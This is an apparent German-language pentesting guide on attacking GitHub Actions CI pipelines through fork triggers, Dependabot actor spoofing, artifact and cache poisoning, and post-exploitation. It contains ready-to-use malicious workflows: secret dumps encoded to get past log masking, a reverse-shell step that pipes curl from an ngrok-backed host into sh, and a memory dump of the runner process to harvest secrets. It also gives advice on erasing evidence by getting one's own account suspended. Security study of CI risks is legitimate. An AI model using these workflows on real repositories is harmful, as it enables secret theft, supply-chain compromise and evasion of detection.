Missbrauch von Github Actions

Reading time: 23 minutes

Tools

Die folgenden Tools sind nützlich, um Github Action workflows zu finden und sogar verwundbare zu entdecken:

• https://github.com/CycodeLabs/raven
• https://github.com/praetorian-inc/gato
• https://github.com/AdnaneKhan/Gato-X
• https://github.com/carlospolop/PurplePanda
• https://github.com/zizmorcore/zizmor - Check also its checklist in https://docs.zizmor.sh/audits

Grundlegende Informationen

Auf dieser Seite finden Sie:

• Eine Zusammenfassung aller Auswirkungen, die ein Angreifer hat, wenn er Zugriff auf eine Github Action erlangt
• Verschiedene Wege, Zugriff auf eine Action zu erhalten:
• Berechtigungen, um die Action zu erstellen
• Missbrauch von pull request-bezogenen Triggern
• Missbrauch von anderen externen Zugriffstechniken
• Pivoting von einem bereits kompromittierten Repo
• Schließlich ein Abschnitt über post-exploitation-Techniken, um eine Action von innen zu missbrauchen (um die genannten Auswirkungen zu verursachen)

Zusammenfassung der Auswirkungen

For an introduction about Github Actions check the basic information.

Wenn Sie beliebigen Code in GitHub Actions ausführen können innerhalb eines Repositories, könnten Sie:

• Secrets stehlen, die an die Pipeline gemountet sind, und die Privilegien der Pipeline missbrauchen, um unautorisierten Zugriff auf externe Plattformen wie AWS und GCP zu erlangen.
• Deployments und andere Artifacts kompromittieren.
• Wenn die Pipeline Assets deployt oder speichert, könnten Sie das Endprodukt verändern und so einen supply chain attack ermöglichen.
• Code in custom workers ausführen, um Rechenleistung zu missbrauchen und zu anderen Systemen zu pivoten.
• Repository-Code überschreiben, abhängig von den mit dem GITHUB_TOKEN verbundenen Berechtigungen.

GITHUB_TOKEN

Dieses "Secret" (stammend von ${{ secrets.GITHUB_TOKEN }} und ${{ github.token }}) wird vergeben, wenn der Admin diese Option aktiviert:

Dieses Token ist dasselbe, das eine Github Application verwenden würde, daher kann es auf dieselben Endpunkte zugreifen: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Die möglichen Berechtigungen dieses Tokens finden Sie unter: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Beachten Sie, dass das Token nach Abschluss des Jobs abläuft.
Diese Tokens sehen so aus: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Einige interessante Dinge, die Sie mit diesem Token tun können:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Es ist möglich, die Berechtigungen eines Github Token in den Repositories anderer Benutzer zu prüfen, indem man die logs der actions überprüft:

Zulässige Ausführung

Ausführung durch Repo-Erstellung

Falls Mitglieder einer Organisation create new repos können und du github actions ausführen kannst, kannst du create a new repo and steal the secrets set at organization level.

Ausführung über einen neuen Branch

Wenn du create a new branch in a repository that already contains a Github Action konfigurieren kannst, kannst du sie modify, den Inhalt upload und dann execute that action from the new branch. Auf diese Weise kannst du exfiltrate repository and organization level secrets (aber du musst wissen, wie sie genannt werden).

Du kannst die modifizierte Action ausführbar machen manuell, wenn ein PR is created oder wenn some code is pushed (abhängig davon, wie auffällig du sein möchtest):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Ausführung aus Forks

pull_request

Der Workflow-Trigger pull_request führt den Workflow jedes Mal aus, wenn ein Pull Request eingeht, mit einigen Ausnahmen: Standardmäßig, wenn es das erste Mal ist, dass du mitwirkst, muss ein Maintainer den Lauf des Workflows genehmigen:

Außerdem verhindert es standardmäßig Schreibberechtigungen und Zugriff auf secrets für das Ziel-Repository, wie in den docs erwähnt:

With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. The GITHUB_TOKEN has read-only permissions in pull requests from forked repositories.

Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Actions anzuhängen. Er wird jedoch aufgrund der genannten Einschränkungen nicht in der Lage sein, secrets zu stehlen oder das Repo zu überschreiben.

Da der Angreifer auch den auszuführenden Code kontrolliert, könnte er selbst ohne secrets oder Schreibrechte für das GITHUB_TOKEN zum Beispiel bösartige Artifacts hochladen.

pull_request_target

Der Workflow-Trigger pull_request_target hat Schreibrechte für das Ziel-Repository und Zugriff auf secrets (und fordert keine Genehmigung an).

Beachte, dass der Workflow-Trigger pull_request_target im base-Kontext läuft und nicht in dem durch den PR bereitgestellten Kontext (um not execute untrusted code). Für mehr Infos zu pull_request_target check the docs.
Außerdem, für mehr Infos zu diesem speziellen gefährlichen Anwendungsfall siehe diesen github blog post.

Es mag so aussehen, dass es sicher ist, pull_request_target zu verwenden, weil der ausgeführte Workflow der ist, der im base definiert ist und nicht im PR, aber es gibt einige Fälle, in denen das nicht zutrifft.

Und dieser wird Zugriff auf secrets haben.

workflow_run

Der workflow_run Trigger erlaubt es, einen Workflow aus einem anderen zu starten, wenn dieser completed, requested oder in_progress ist.

In diesem Beispiel ist ein Workflow so konfiguriert, dass er ausgeführt wird, nachdem der separate "Run Tests"-Workflow abgeschlossen ist:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Außerdem, laut der Docs: Der durch das workflow_run Event gestartete Workflow ist in der Lage, access secrets and write tokens, even if the previous workflow was not.

Diese Art von Workflow könnte angegriffen werden, wenn er abhängig von einem Workflow ist, der von einem externen Benutzer via pull_request oder pull_request_target ausgelöst werden kann. Ein paar verwundbare Beispiele können in found this blog gefunden werden. Der erste besteht darin, dass der durch workflow_run ausgelöste Workflow den Code des Angreifers herunterlädt: ${{ github.event.pull_request.head.sha }}
Der zweite besteht darin, ein artifact aus dem untrusted Code an den workflow_run Workflow zu übergeben und den Inhalt dieses Artifacts so zu verwenden, dass er anfällig für RCE wird.

workflow_call

TODO

TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR

Missbrauch von Fork-Ausführungen

Wir haben alle Wege erwähnt, wie ein externer Angreifer einen github Workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn schlecht konfiguriert, missbraucht werden können:

Untrusted checkout execution

Im Fall von pull_request wird der Workflow im Kontext des PR ausgeführt (also führt er den malicious PRs code aus), aber jemand muss ihn zuerst autorisieren und er läuft mit einigen limitations.

Im Fall eines Workflows, der pull_request_target or workflow_run verwendet und von einem Workflow abhängt, der durch pull_request_target or pull_request ausgelöst werden kann, wird der Code aus dem Original-Repo ausgeführt, sodass der attacker cannot control the executed code.

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Der potenziell untrusted code wird während npm install oder npm build ausgeführt, da die Build-Skripte und referenzierten packages vom Autor des PR kontrolliert werden.

Context Script Injections

Beachte, dass es bestimmte github contexts gibt, deren Werte vom user erstelltem PR kontrolliert werden. Wenn die github action diese data to execute anything verwendet, könnte das zu arbitrary code execution führen:

Gh Actions - Context Script Injections

GITHUB_ENV Script Injection

Laut der Docs: Du kannst eine environment variable available to any subsequent steps in einem Workflow-Job verfügbar machen, indem du die Environment-Variable definierst oder aktualisierst und dies in die GITHUB_ENV environment file schreibst.

Wenn ein Angreifer einen beliebigen Wert in diese env Variable injecten könnte, könnte er env-Variablen injizieren, die in folgenden Schritten Code ausführen, wie etwa LD_PRELOAD oder NODE_OPTIONS.

Zum Beispiel (this und this), stelle dir einen Workflow vor, der einem hochgeladenen artifact vertraut, um dessen Inhalt in der GITHUB_ENV env-Variable zu speichern. Ein Angreifer könnte so etwas hochladen, um ihn zu kompromittieren:

Dependabot and other trusted bots

Wie in this blog post beschrieben, haben mehrere Organisationen eine Github Action, die jeden PR von dependabot[bot] merged, wie in:

on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Das ist ein Problem, weil das Feld github.actor den Benutzer enthält, der das letzte Ereignis verursacht hat, das den Workflow ausgelöst hat. Und es gibt mehrere Wege, den Benutzer dependabot[bot] dazu zu bringen, einen PR zu ändern. Zum Beispiel:

• Forke das Repository des Opfers
• Füge deiner Kopie die bösartige payload hinzu
• Aktiviere Dependabot in deinem Fork, indem du eine veraltete Abhängigkeit hinzufügst. Dependabot wird einen Branch erstellen, der die Abhängigkeit behebt und bösartigen Code enthält.
• Öffne einen Pull Request zum Repository des Opfers von diesem Branch (der PR wird vom Benutzer erstellt, also passiert noch nichts)
• Dann geht der Angreifer zurück zu dem initialen PR, den Dependabot in seinem Fork geöffnet hat, und führt @dependabot recreate aus
• Danach führt Dependabot einige Aktionen in diesem Branch aus, die den PR im Repository des Opfers modifizieren, wodurch dependabot[bot] zum Akteur des letzten Ereignisses wird, das den Workflow ausgelöst hat (und daher wird der Workflow ausgeführt).

Weiter: Was wäre, wenn statt des Mergings die Github Action eine command injection hätte wie in:

on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

Nun, der ursprüngliche blogpost schlägt zwei Optionen vor, dieses Verhalten auszunutzen; die zweite ist folgende:

• Fork the victim repository and enable Dependabot with some outdated dependency.
• Create a new branch with the malicious shell injection code.
• Change the default branch of the repo to that one
• Create a PR from this branch to the victim repository.
• Run @dependabot merge in the PR Dependabot opened in his fork.
• Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the dependabot[bot] the actor of the latest event that triggered the workflow and using a malicious branch name.

Verwundbare Drittanbieter Github Actions

dawidd6/action-download-artifact

Wie in this blog post erwähnt, erlaubt diese Github Action den Zugriff auf artifacts aus unterschiedlichen workflows und sogar repositories.

Das Problem ist, dass wenn der path-Parameter nicht gesetzt ist, das artifact im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später verwendet oder sogar im workflow ausgeführt werden. Daher könnte ein Angreifer, falls das Artifact verwundbar ist, dies ausnutzen, um andere workflows zu kompromittieren, die dem Artifact vertrauen.

Example of vulnerable workflow:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Dies könnte mit diesem Workflow angegriffen werden:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Andere externe Zugriffe

Deleted Namespace Repo Hijacking

If an account changes it's name another user could register an account with that name after some time. If a repository had less than 100 stars previously to the change of name, Github will allow the new register user with the same name to create a repository with the same name as the one deleted.

If other repositories where using dependencies from this user repos, an attacker will be able to hijack them Here you have a more complete explanation: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo Pivoting

Cache Poisoning

A cache is maintained between wokflow runs in the same branch. Which means that if an attacker compromise a package that is then stored in the cache and downloaded and executed by a more privileged workflow he will be able to compromise also that workflow.

GH Actions - Cache Poisoning

Artifact Poisoning

Workflows could use artifacts from other workflows and even repos, if an attacker manages to compromise the Github Action that uploads an artifact that is later used by another workflow he could compromise the other workflows:

Gh Actions - Artifact Poisoning

Post Exploitation from an Action

Github Action Policies Bypass

As commented in this blog post, even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (git clone) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, the action will be executed without any restriction.

Example:

on: [push, pull_request]

jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout

- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat

- run: ls && pwd

- run: ls tmp/checkout

Zugriff auf AWS, Azure und GCP über OIDC

Siehe die folgenden Seiten:

AWS - Federation Abuse

Az Federation Abuse

GCP - Federation Abuse

Zugriff auf secrets

Wenn du Inhalte in ein Script injizierst, ist es nützlich zu wissen, wie du auf secrets zugreifen kannst:

• Wenn secret oder token als environment variable gesetzt sind, können sie direkt über die Umgebung mit printenv ausgelesen werden.

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• Wenn das secret direkt in einem Ausdruck verwendet wird, wird das generierte Shell-Skript auf der Festplatte gespeichert und ist zugänglich.

cat /home/runner/work/_temp/*

- Bei JavaScript-Actions werden die secrets über Umgebungsvariablen gesendet
- ```bash
ps axe | grep node

• Bei einer custom action kann das Risiko variieren, abhängig davon, wie ein Programm das secret verwendet, das es aus dem argument erhalten hat:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

• Alle secrets über den secrets context (collaborator level) auflisten. Ein Contributor mit Write-Zugriff kann einen Workflow in jedem Branch ändern, um alle repository/org/environment secrets zu dumpen. Verwende double base64, um GitHub’s Log-Masking zu umgehen und lokal zu decodieren:

name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0

Lokal dekodieren:

echo "ZXdv...Zz09" | base64 -d | base64 -d

Tipp: Für mehr stealth beim Testen, verschlüssele vor dem Ausgeben (openssl ist auf GitHub-hosted runners vorinstalliert).

Missbrauch von Self-hosted runners

Um herauszufinden, welche Github Actions are being executed in non-github infrastructure sucht man nach runs-on: self-hosted in der Github Action Konfigurations-yaml.

Self-hosted runners könnten Zugriff auf extra sensitive information, auf andere network systems (vulnerable endpoints in the network? metadata service?) haben oder — selbst wenn sie isoliert und danach zerstört werden — more than one action might be run at the same time und die bösartige könnte die secrets der anderen stehlen.

Bei self-hosted runners ist es außerdem möglich, die secrets from the _Runner.Listener_** process** zu erhalten, welche durch Dumping seines Speichers alle secrets der Workflows zu jedem Zeitpunkt enthalten:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Check this post for more information.

Github Docker Images Registry

Es ist möglich, Github actions zu erstellen, die ein Docker-Image in Github bauen und speichern. Ein Beispiel findet sich im folgenden ausklappbaren Bereich:

[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

Wie im vorherigen Code zu sehen ist, wird das Github registry auf ghcr.io gehostet.

Ein Benutzer mit Lesezugriff auf das Repo kann dann das Docker Image mit einem personal access token herunterladen:

echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Dann könnte der Benutzer nach leaked secrets in the Docker image layers: suchen:

Docker Forensics - HackTricks

Sensible Informationen in den Github Actions-Logs

Selbst wenn Github versucht, secret values in den Actions-Logs zu erkennen und nicht anzuzeigen, werden andere sensible Daten, die während der Ausführung der Action erzeugt wurden, nicht verborgen. Zum Beispiel wird ein mit einem secret value signiertes JWT nicht verborgen, es sei denn es ist specifically configured.

Spuren verwischen

(Technik von here) Zunächst einmal ist jeder erstellte PR für die Öffentlichkeit auf Github und für das Ziel-GitHub-Konto klar sichtbar. In GitHub kann man standardmäßig einen PR aus dem Internet nicht löschen, aber es gibt einen Haken. Für Github-Konten, die von Github suspendiert werden, werden alle ihre PRs automatisch gelöscht und aus dem Internet entfernt. Um also deine Aktivität zu verbergen, musst du entweder deinen GitHub account suspendiert bekommen oder dein account flagged. Das würde alle deine Aktivitäten auf GitHub vor dem Internet verbergen (im Grunde alle deine exploit PRs entfernen).

Eine Organisation auf GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was du tun musst, ist „ein bisschen Zeug“ in einem Issue zu teilen und sie sorgen dafür, dass dein Konto innerhalb von 12 Stunden suspended wird :p und da hast du es, deinen Exploit auf GitHub unsichtbar gemacht.

Referenzen

• GitHub Actions: A Cloudy Day for Security - Part 1